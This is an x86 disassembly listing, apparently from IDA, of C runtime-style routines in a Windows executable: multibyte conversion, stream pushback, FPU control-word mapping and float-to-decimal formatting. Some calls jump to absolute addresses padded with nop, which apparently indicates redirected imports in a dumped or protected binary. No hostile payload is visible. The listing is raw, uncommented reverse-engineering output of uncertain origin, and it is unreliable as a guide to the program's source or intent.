push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4DBB48
xor ebx, ebx
cmp eax, ebx
jnz short loc_423D5B
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_427938
push esi
nop
call near ptr 2630000h
test eax, eax
jz short loc_423D39
mov eax, esi
jmp short loc_423D56
; ---------------------------------------------------------------------------
loc_423D39: ; CODE XREF: sub_423CEC+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_4CB50C
push esi
push ebx
call near ptr 2640000h
nop
test eax, eax
jz loc_423E21
push 2
pop eax
loc_423D56: ; CODE XREF: sub_423CEC+4Bj
mov dword_4DBB48, eax
loc_423D5B: ; CODE XREF: sub_423CEC+2Fj
cmp eax, 2
jnz short loc_423D84
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_423D6C
mov eax, dword_4DBA14
loc_423D6C: ; CODE XREF: sub_423CEC+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
nop
call near ptr 2640000h
jmp loc_423E23
; ---------------------------------------------------------------------------
loc_423D84: ; CODE XREF: sub_423CEC+72j
cmp eax, 1
jnz loc_423E21
cmp [ebp+arg_10], ebx
jnz short loc_423D9A
mov eax, dword_4DBA24
mov [ebp+arg_10], eax
loc_423D9A: ; CODE XREF: sub_423CEC+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
call near ptr 2860000h
nop
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_423E21
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_41B590
add esp, 0Ch
jmp short loc_423DF0
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_423DF0: ; CODE XREF: sub_423CEC+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_423E21
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
nop
call near ptr 2860000h
cmp eax, ebx
jz short loc_423E21
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
call near ptr 2630000h
nop
jmp short loc_423E23
; ---------------------------------------------------------------------------
loc_423E21: ; CODE XREF: sub_423CEC+61j
; sub_423CEC+9Bj ...
xor eax, eax
loc_423E23: ; CODE XREF: sub_423CEC+93j
; sub_423CEC+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_423CEC endp
; =============== S U B R O U T I N E =======================================
sub_423E35 proc near ; CODE XREF: sub_41F58A+61p
; sub_420446+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4DCDA0
jb short loc_423E44
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_423E44: ; CODE XREF: sub_423E35+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4DCCA0[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_423E35 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423E5B proc near ; CODE XREF: sub_41F69F+2D4p
; sub_41F69F+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_423E67
pop ebp
retn
; ---------------------------------------------------------------------------
loc_423E67: ; CODE XREF: sub_423E5B+8j
cmp dword_4DBA14, 0
jnz short loc_423E82
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_423EB4
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_423E82: ; CODE XREF: sub_423E5B+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_43CBE4
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_4DBA24
nop
call near ptr 2850000h
test eax, eax
jz short loc_423EB4
cmp [ebp+arg_0], 0
jz short loc_423EC1
loc_423EB4: ; CODE XREF: sub_423E5B+1Ej
; sub_423E5B+51j
mov dword_4DB958, 2Ah
or eax, 0FFFFFFFFh
loc_423EC1: ; CODE XREF: sub_423E5B+57j
pop ebp
retn
sub_423E5B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423EC3 proc near ; CODE XREF: sub_420510+6A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_423EE6
cmp [ebp+arg_8], ebx
jz short loc_423EE6
mov al, [esi]
cmp al, bl
jnz short loc_423EEC
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_423EE6
mov [eax], bx
loc_423EE6: ; CODE XREF: sub_423EC3+Cj
; sub_423EC3+11j ...
xor eax, eax
loc_423EE8: ; CODE XREF: sub_423EC3+42j
; sub_423EC3+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_423EEC: ; CODE XREF: sub_423EC3+17j
cmp dword_4DBA14, ebx
jnz short loc_423F07
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_423F02
movzx ax, al
mov [ecx], ax
loc_423F02: ; CODE XREF: sub_423EC3+36j
; sub_423EC3+C0j
push 1
pop eax
jmp short loc_423EE8
; ---------------------------------------------------------------------------
loc_423F07: ; CODE XREF: sub_423EC3+2Fj
mov ecx, off_43C9D8
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_423F64
mov eax, dword_43CBE4
cmp eax, 1
jle short loc_423F4B
cmp [ebp+arg_8], eax
jl short loc_423F55
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push dword_4DBA24
nop
call near ptr 2860000h
test eax, eax
mov eax, dword_43CBE4
jnz short loc_423EE8
loc_423F4B: ; CODE XREF: sub_423EC3+5Cj
cmp [ebp+arg_8], eax
jb short loc_423F55
cmp [esi+1], bl
jnz short loc_423EE8
loc_423F55: ; CODE XREF: sub_423EC3+61j
; sub_423EC3+8Bj ...
mov dword_4DB958, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_423EE8
; ---------------------------------------------------------------------------
loc_423F64: ; CODE XREF: sub_423EC3+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push dword_4DBA24
nop
call near ptr 2860000h
test eax, eax
jnz loc_423F02
jmp short loc_423F55
sub_423EC3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_423F90 proc near ; CODE XREF: sub_420510+797p
; sub_420510+7E7p
cmp cl, 40h
jnb short loc_423FAA
cmp cl, 20h
jnb short loc_423FA0
shld edx, eax, cl
shl eax, cl
retn
; ---------------------------------------------------------------------------
loc_423FA0: ; CODE XREF: sub_423F90+8j
mov edx, eax
xor eax, eax
and cl, 1Fh
shl edx, cl
retn
; ---------------------------------------------------------------------------
loc_423FAA: ; CODE XREF: sub_423F90+3j
xor eax, eax
xor edx, edx
retn
sub_423F90 endp
; =============== S U B R O U T I N E =======================================
sub_423FAF proc near ; CODE XREF: sub_420F86+Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_423FFB
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_423FCD
test al, 80h
jz short loc_423FFB
test al, 2
jnz short loc_423FFB
loc_423FCD: ; CODE XREF: sub_423FAF+14j
cmp dword ptr [esi+8], 0
jnz short loc_423FDA
push esi
call sub_4239EF
pop ecx
loc_423FDA: ; CODE XREF: sub_423FAF+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_423FEA
cmp dword ptr [esi+4], 0
jnz short loc_423FFB
inc eax
mov [esi], eax
loc_423FEA: ; CODE XREF: sub_423FAF+30j
test byte ptr [esi+0Ch], 40h
jz short loc_424001
dec dword ptr [esi]
mov eax, [esi]
cmp [eax], bl
jz short loc_424007
inc eax
mov [esi], eax
loc_423FFB: ; CODE XREF: sub_423FAF+9j
; sub_423FAF+18j ...
or eax, 0FFFFFFFFh
loc_423FFE: ; CODE XREF: sub_423FAF+6Cj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_424001: ; CODE XREF: sub_423FAF+3Fj
dec dword ptr [esi]
mov eax, [esi]
mov [eax], bl
loc_424007: ; CODE XREF: sub_423FAF+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and al, 0EFh
or al, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_423FFE
sub_423FAF endp
; =============== S U B R O U T I N E =======================================
sub_42401D proc near ; CODE XREF: sub_421576+52p
xor eax, eax
retn
sub_42401D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424020 proc near ; CODE XREF: sub_424055+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_42406B
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_4240FD
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_424020 endp
; =============== S U B R O U T I N E =======================================
sub_424055 proc near ; CODE XREF: sub_421862+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_424020
pop ecx
pop ecx
retn
sub_424055 endp
; =============== S U B R O U T I N E =======================================
sub_42406B proc near ; CODE XREF: sub_424020+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_42407C
push 10h
pop eax
loc_42407C: ; CODE XREF: sub_42406B+Cj
test bl, 4
jz short loc_424083
or al, 8
loc_424083: ; CODE XREF: sub_42406B+14j
test bl, 8
jz short loc_42408A
or al, 4
loc_42408A: ; CODE XREF: sub_42406B+1Bj
test bl, 10h
jz short loc_424091
or al, 2
loc_424091: ; CODE XREF: sub_42406B+22j
test bl, 20h
jz short loc_424098
or al, 1
loc_424098: ; CODE XREF: sub_42406B+29j
test bl, 2
jz short loc_4240A2
or eax, 80000h
loc_4240A2: ; CODE XREF: sub_42406B+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_4240DA
cmp edx, 400h
jz short loc_4240D7
cmp edx, 800h
jz short loc_4240D3
cmp edx, esi
jnz short loc_4240DA
or eax, edi
jmp short loc_4240DA
; ---------------------------------------------------------------------------
loc_4240D3: ; CODE XREF: sub_42406B+5Ej
or eax, ebp
jmp short loc_4240DA
; ---------------------------------------------------------------------------
loc_4240D7: ; CODE XREF: sub_42406B+56j
or ah, 1
loc_4240DA: ; CODE XREF: sub_42406B+4Ej
; sub_42406B+62j ...
and ecx, edi
pop esi
jz short loc_4240EA
cmp ecx, ebp
jnz short loc_4240EF
or eax, 10000h
jmp short loc_4240EF
; ---------------------------------------------------------------------------
loc_4240EA: ; CODE XREF: sub_42406B+72j
or eax, 20000h
loc_4240EF: ; CODE XREF: sub_42406B+76j
; sub_42406B+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_4240FC
or eax, 40000h
locret_4240FC: ; CODE XREF: sub_42406B+8Aj
retn
sub_42406B endp
; =============== S U B R O U T I N E =======================================
sub_4240FD proc near ; CODE XREF: sub_424020+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_42410D
push 1
pop eax
loc_42410D: ; CODE XREF: sub_4240FD+Bj
test bl, 8
jz short loc_424114
or al, 4
loc_424114: ; CODE XREF: sub_4240FD+13j
test bl, 4
jz short loc_42411B
or al, 8
loc_42411B: ; CODE XREF: sub_4240FD+1Aj
test bl, 2
jz short loc_424122
or al, 10h
loc_424122: ; CODE XREF: sub_4240FD+21j
test bl, 1
jz short loc_424129
or al, 20h
loc_424129: ; CODE XREF: sub_4240FD+28j
test ebx, 80000h
jz short loc_424133
or al, 2
loc_424133: ; CODE XREF: sub_4240FD+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_424160
cmp ecx, 100h
jz short loc_42415D
cmp ecx, esi
jz short loc_424158
cmp ecx, edx
jnz short loc_424160
or ah, 0Ch
jmp short loc_424160
; ---------------------------------------------------------------------------
loc_424158: ; CODE XREF: sub_4240FD+50j
or ah, 8
jmp short loc_424160
; ---------------------------------------------------------------------------
loc_42415D: ; CODE XREF: sub_4240FD+4Cj
or ah, 4
loc_424160: ; CODE XREF: sub_4240FD+44j
; sub_4240FD+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_424176
cmp ecx, 10000h
jnz short loc_424178
or eax, esi
jmp short loc_424178
; ---------------------------------------------------------------------------
loc_424176: ; CODE XREF: sub_4240FD+6Bj
or eax, edx
loc_424178: ; CODE XREF: sub_4240FD+73j
; sub_4240FD+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_424185
or ah, 10h
locret_424185: ; CODE XREF: sub_4240FD+83j
retn
sub_4240FD endp
; =============== S U B R O U T I N E =======================================
sub_424186 proc near ; CODE XREF: sub_424225+48p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
push 20h
cdq
pop ecx
idiv ecx
push 1Fh
mov esi, eax
mov eax, [esp+8+arg_4]
cdq
idiv ecx
pop ecx
mov eax, [esp+4+arg_0]
sub ecx, edx
or edx, 0FFFFFFFFh
shl edx, cl
not edx
test [eax+esi*4], edx
jnz short loc_4241CB
inc esi
cmp esi, 3
jge short loc_4241C6
lea eax, [eax+esi*4]
loc_4241B8: ; CODE XREF: sub_424186+3Ej
cmp dword ptr [eax], 0
jnz short loc_4241CB
inc esi
add eax, 4
cmp esi, 3
jl short loc_4241B8
loc_4241C6: ; CODE XREF: sub_424186+2Dj
push 1
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4241CB: ; CODE XREF: sub_424186+27j
; sub_424186+35j
xor eax, eax
pop esi
retn
sub_424186 endp
; =============== S U B R O U T I N E =======================================
sub_4241CF proc near ; CODE XREF: sub_424225+57p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push ebx
push esi
push edi
push 20h
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
idiv ecx
mov esi, eax
mov eax, [esp+0Ch+arg_4]
cdq
idiv ecx
lea edi, [ebx+esi*4]
push edi
push 1Fh
pop ecx
push 1
pop eax
sub ecx, edx
shl eax, cl
push eax
push dword ptr [edi]
call sub_425050
add esp, 0Ch
dec esi
js short loc_424221
lea edi, [ebx+esi*4]
loc_424208: ; CODE XREF: sub_4241CF+50j
test eax, eax
jz short loc_424221
push edi
push 1
push dword ptr [edi]
call sub_425050
add esp, 0Ch
dec esi
sub edi, 4
test esi, esi
jge short loc_424208
loc_424221: ; CODE XREF: sub_4241CF+34j
; sub_4241CF+3Bj
pop edi
pop esi
pop ebx
retn
sub_4241CF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424225 proc near ; CODE XREF: sub_424380+81p
; sub_424380+CCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
lea edi, [eax-1]
push 20h
pop ecx
and [ebp+var_4], 0
lea ebx, [edi+1]
push 20h
mov eax, ebx
pop esi
cdq
idiv ecx
push 1Fh
mov ecx, eax
mov eax, ebx
cdq
idiv esi
mov eax, [ebp+arg_0]
pop esi
push 1
mov [ebp+var_8], ecx
lea eax, [eax+ecx*4]
mov [ebp+arg_4], eax
sub esi, edx
pop edx
mov ecx, esi
shl edx, cl
test [eax], edx
jz short loc_424289
inc ebx
push ebx
push [ebp+arg_0]
call sub_424186
pop ecx
test eax, eax
pop ecx
jnz short loc_424286
push edi
push [ebp+arg_0]
call sub_4241CF
pop ecx
mov [ebp+var_4], eax
pop ecx
loc_424286: ; CODE XREF: sub_424225+51j
mov eax, [ebp+arg_4]
loc_424289: ; CODE XREF: sub_424225+41j
or edx, 0FFFFFFFFh
mov ecx, esi
shl edx, cl
push 3
pop ecx
and [eax], edx
mov eax, [ebp+var_8]
inc eax
cmp eax, ecx
jge short loc_4242A9
mov edx, [ebp+arg_0]
sub ecx, eax
lea edi, [edx+eax*4]
xor eax, eax
rep stosd
loc_4242A9: ; CODE XREF: sub_424225+76j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_424225 endp
; =============== S U B R O U T I N E =======================================
sub_4242B1 proc near ; CODE XREF: sub_424380+75p
; sub_424380+B6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push esi
push 3
sub ecx, eax
pop edx
loc_4242BF: ; CODE XREF: sub_4242B1+17j
mov esi, [eax]
mov [ecx+eax], esi
add eax, 4
dec edx
jnz short loc_4242BF
pop esi
retn
sub_4242B1 endp
; =============== S U B R O U T I N E =======================================
sub_4242CC proc near ; CODE XREF: sub_424380+5Fp
; sub_424380+9Ep ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor eax, eax
stosd
stosd
stosd
pop edi
retn
sub_4242CC endp
; =============== S U B R O U T I N E =======================================
sub_4242D8 proc near ; CODE XREF: sub_424380+4Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
loc_4242DE: ; CODE XREF: sub_4242D8+12j
cmp dword ptr [eax], 0
jnz short loc_4242F0
inc ecx
add eax, 4
cmp ecx, 3
jl short loc_4242DE
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4242F0: ; CODE XREF: sub_4242D8+9j
xor eax, eax
retn
sub_4242D8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4242F3 proc near ; CODE XREF: sub_424380+C0p
; sub_424380+DAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 20h
mov edi, [ebp+arg_0]
pop ebx
or esi, 0FFFFFFFFh
cdq
mov ecx, ebx
mov [ebp+var_4], 3
idiv ecx
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
cdq
idiv ecx
and [ebp+arg_4], 0
mov ecx, edx
shl esi, cl
sub ebx, edx
not esi
loc_424329: ; CODE XREF: sub_4242F3+58j
mov eax, [edi]
mov ecx, eax
and ecx, esi
mov [ebp+var_8], ecx
mov ecx, edx
shr eax, cl
or eax, [ebp+arg_4]
mov [edi], eax
mov eax, [ebp+var_8]
mov ecx, ebx
add edi, 4
shl eax, cl
dec [ebp+var_4]
mov [ebp+arg_4], eax
jnz short loc_424329
mov edi, [ebp+var_C]
push 2
pop ebx
mov esi, edi
push 8
pop ecx
shl esi, 2
loc_42435B: ; CODE XREF: sub_4242F3+86j
cmp ebx, edi
jl short loc_42436E
mov edx, [ebp+arg_0]
mov eax, ecx
sub eax, esi
mov eax, [eax+edx]
mov [ecx+edx], eax
jmp short loc_424375
; ---------------------------------------------------------------------------
loc_42436E: ; CODE XREF: sub_4242F3+6Aj
mov eax, [ebp+arg_0]
and dword ptr [ecx+eax], 0
loc_424375: ; CODE XREF: sub_4242F3+79j
dec ebx
sub ecx, 4
jns short loc_42435B
pop edi
pop esi
pop ebx
leave
retn
sub_4242F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424380 proc near ; CODE XREF: sub_4244EC+Dp
; sub_424502+Dp
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
movzx ecx, word ptr [eax+0Ah]
mov ebx, ecx
and ecx, 8000h
mov [ebp+arg_0], ecx
mov ecx, [eax+6]
mov [ebp+var_C], ecx
mov ecx, [eax+2]
movzx eax, word ptr [eax]
mov edi, [ebp+arg_8]
and ebx, 7FFFh
sub ebx, 3FFFh
mov [ebp+var_8], ecx
shl eax, 10h
cmp ebx, 0FFFFC001h
mov [ebp+var_4], eax
jnz short loc_4243ED
lea eax, [ebp+var_C]
xor esi, esi
push eax
call sub_4242D8
test eax, eax
pop ecx
jnz loc_4244AC
lea eax, [ebp+var_C]
push eax
call sub_4242CC
pop ecx
loc_4243E5: ; CODE XREF: sub_424380+E4j
push 2
loc_4243E7: ; CODE XREF: sub_424380+110j
pop eax
jmp loc_4244AE
; ---------------------------------------------------------------------------
loc_4243ED: ; CODE XREF: sub_424380+45j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_18]
push eax
call sub_4242B1
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424225
add esp, 10h
test eax, eax
jz short loc_42440E
inc ebx
loc_42440E: ; CODE XREF: sub_424380+8Bj
mov eax, [edi+4]
mov ecx, eax
sub ecx, [edi+8]
cmp ebx, ecx
jge short loc_424426
lea eax, [ebp+var_C]
push eax
call sub_4242CC
pop ecx
jmp short loc_424462
; ---------------------------------------------------------------------------
loc_424426: ; CODE XREF: sub_424380+98j
cmp ebx, eax
jg short loc_424469
sub eax, ebx
mov esi, eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4242B1
lea eax, [ebp+var_C]
push esi
push eax
call sub_4242F3
push dword ptr [edi+8]
lea eax, [ebp+var_C]
push eax
call sub_424225
mov eax, [edi+0Ch]
inc eax
push eax
lea eax, [ebp+var_C]
push eax
call sub_4242F3
add esp, 20h
loc_424462: ; CODE XREF: sub_424380+A4j
xor esi, esi
jmp loc_4243E5
; ---------------------------------------------------------------------------
loc_424469: ; CODE XREF: sub_424380+A8j
cmp ebx, [edi]
jl short loc_424495
lea eax, [ebp+var_C]
push eax
call sub_4242CC
push dword ptr [edi+0Ch]
or byte ptr [ebp+var_C+3], 80h
lea eax, [ebp+var_C]
push eax
call sub_4242F3
mov esi, [edi+14h]
add esp, 0Ch
add esi, [edi]
push 1
jmp loc_4243E7
; ---------------------------------------------------------------------------
loc_424495: ; CODE XREF: sub_424380+EBj
push dword ptr [edi+0Ch]
mov esi, [edi+14h]
and byte ptr [ebp+var_C+3], 7Fh
lea eax, [ebp+var_C]
push eax
add esi, ebx
call sub_4242F3
pop ecx
pop ecx
loc_4244AC: ; CODE XREF: sub_424380+55j
xor eax, eax
loc_4244AE: ; CODE XREF: sub_424380+68j
push 1Fh
pop ecx
sub ecx, [edi+0Ch]
mov edi, [edi+10h]
shl esi, cl
mov ecx, [ebp+arg_0]
neg ecx
sbb ecx, ecx
and ecx, 80000000h
or esi, ecx
or esi, [ebp+var_C]
cmp edi, 40h
jnz short loc_4244DD
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_8]
mov [ecx+4], esi
mov [ecx], edx
jmp short loc_4244E7
; ---------------------------------------------------------------------------
loc_4244DD: ; CODE XREF: sub_424380+14Ej
cmp edi, 20h
jnz short loc_4244E7
mov ecx, [ebp+arg_4]
mov [ecx], esi
loc_4244E7: ; CODE XREF: sub_424380+15Bj
; sub_424380+160j
pop edi
pop esi
pop ebx
leave
retn
sub_424380 endp
; =============== S U B R O U T I N E =======================================
sub_4244EC proc near ; CODE XREF: sub_424518+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43D358
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424380
add esp, 0Ch
retn
sub_4244EC endp
; =============== S U B R O U T I N E =======================================
sub_424502 proc near ; CODE XREF: sub_424545+23p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push offset dword_43D370
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_424380
add esp, 0Ch
retn
sub_424502 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424518 proc near ; CODE XREF: sub_42199B+12p
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4251F1
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_4244EC
add esp, 24h
leave
retn
sub_424518 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424545 proc near ; CODE XREF: sub_42199B+2Dp
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
xor eax, eax
push eax
push eax
push eax
push eax
push [ebp+arg_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_C]
push eax
call sub_4251F1
push [ebp+arg_0]
lea eax, [ebp+var_C]
push eax
call sub_424502
add esp, 24h
leave
retn
sub_424545 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_424572 proc near ; CODE XREF: sub_4219D9+65p
; sub_421ADD+63p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov ecx, [edx+0Ch]
push edi
lea edi, [esi+1]
mov byte ptr [esi], 30h
test ebx, ebx
mov eax, edi
jle short loc_4245AF
mov [ebp+arg_0], ebx
xor ebx, ebx
loc_424595: ; CODE XREF: sub_424572+38j
mov dl, [ecx]
test dl, dl
jz short loc_4245A1
movsx edx, dl
inc ecx
jmp short loc_4245A4
; ---------------------------------------------------------------------------
loc_4245A1: ; CODE XREF: sub_424572+27j
push 30h
pop edx
loc_4245A4: ; CODE XREF: sub_424572+2Dj
mov [eax], dl
inc eax
dec [ebp+arg_0]
jnz short loc_424595
mov edx, [ebp+arg_8]
loc_4245AF: ; CODE XREF: sub_424572+1Cj
and byte ptr [eax], 0
test ebx, ebx
jl short loc_4245C8
cmp byte ptr [ecx], 35h
jl short loc_4245C8
loc_4245BB: ; CODE XREF: sub_424572+52j
dec eax
cmp byte ptr [eax], 39h
jnz short loc_4245C6
mov byte ptr [eax], 30h
jmp short loc_4245BB
; ---------------------------------------------------------------------------
loc_4245C6: ; CODE XREF: sub_424572+4Dj
inc byte ptr [eax]
loc_4245C8: ; CODE XREF: sub_424572+42j
; sub_424572+47j
cmp byte ptr [esi], 31h
jnz short loc_4245D2
inc dword ptr [edx+4]
jmp short loc_4245E4
; ---------------------------------------------------------------------------
loc_4245D2: ; CODE XREF: sub_424572+59j
push edi
call sub_41AFE0
inc eax
push eax
push edi
push esi
call sub_41CC90
add esp, 10h
loc_4245E4: ; CODE XREF: sub_424572+5Ej
pop edi
pop esi
pop ebx
pop ebp
retn
sub_424572 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4245E9 proc near ; CODE XREF: sub_4219D9+3Fp
; sub_421ADD+46p ...
var_C = byte ptr -0Ch
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
lea eax, [ebp+arg_0]
push edi
push eax
lea eax, [ebp+var_C]
push eax
call sub_42464D
pop ecx
lea esi, [ebp+var_C]
pop ecx
push offset word_4DBB50
push 0
push 11h
sub esp, 0Ch
mov edi, esp
movsd
movsd
movsw
call sub_4256C2
mov dword_4DBB78, eax
add esp, 18h
movsx eax, byte_4DBB52
mov dword_4DBB70, eax
pop edi
movsx eax, word_4DBB50
mov dword_4DBB74, eax
mov dword_4DBB7C, offset dword_4DBB54
mov eax, offset dword_4DBB70
pop esi
leave
retn
sub_4245E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42464D proc near ; CODE XREF: sub_4245E9+10p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_4]
push ebx
push esi
push edi
mov ax, [edx+6]
mov edi, 7FFh
mov ecx, eax
and eax, 8000h
shr ecx, 4
and ecx, edi
mov [ebp+arg_4], eax
mov eax, [edx+4]
mov edx, [edx]
movzx ebx, cx
mov esi, 80000000h
and eax, 0FFFFFh
test ebx, ebx
mov [ebp+var_4], esi
jz short loc_42469B
cmp ebx, edi
jz short loc_424694
lea edi, [ecx+3C00h]
jmp short loc_4246BC
; ---------------------------------------------------------------------------
loc_424694: ; CODE XREF: sub_42464D+3Dj
mov edi, 7FFFh
jmp short loc_4246BC
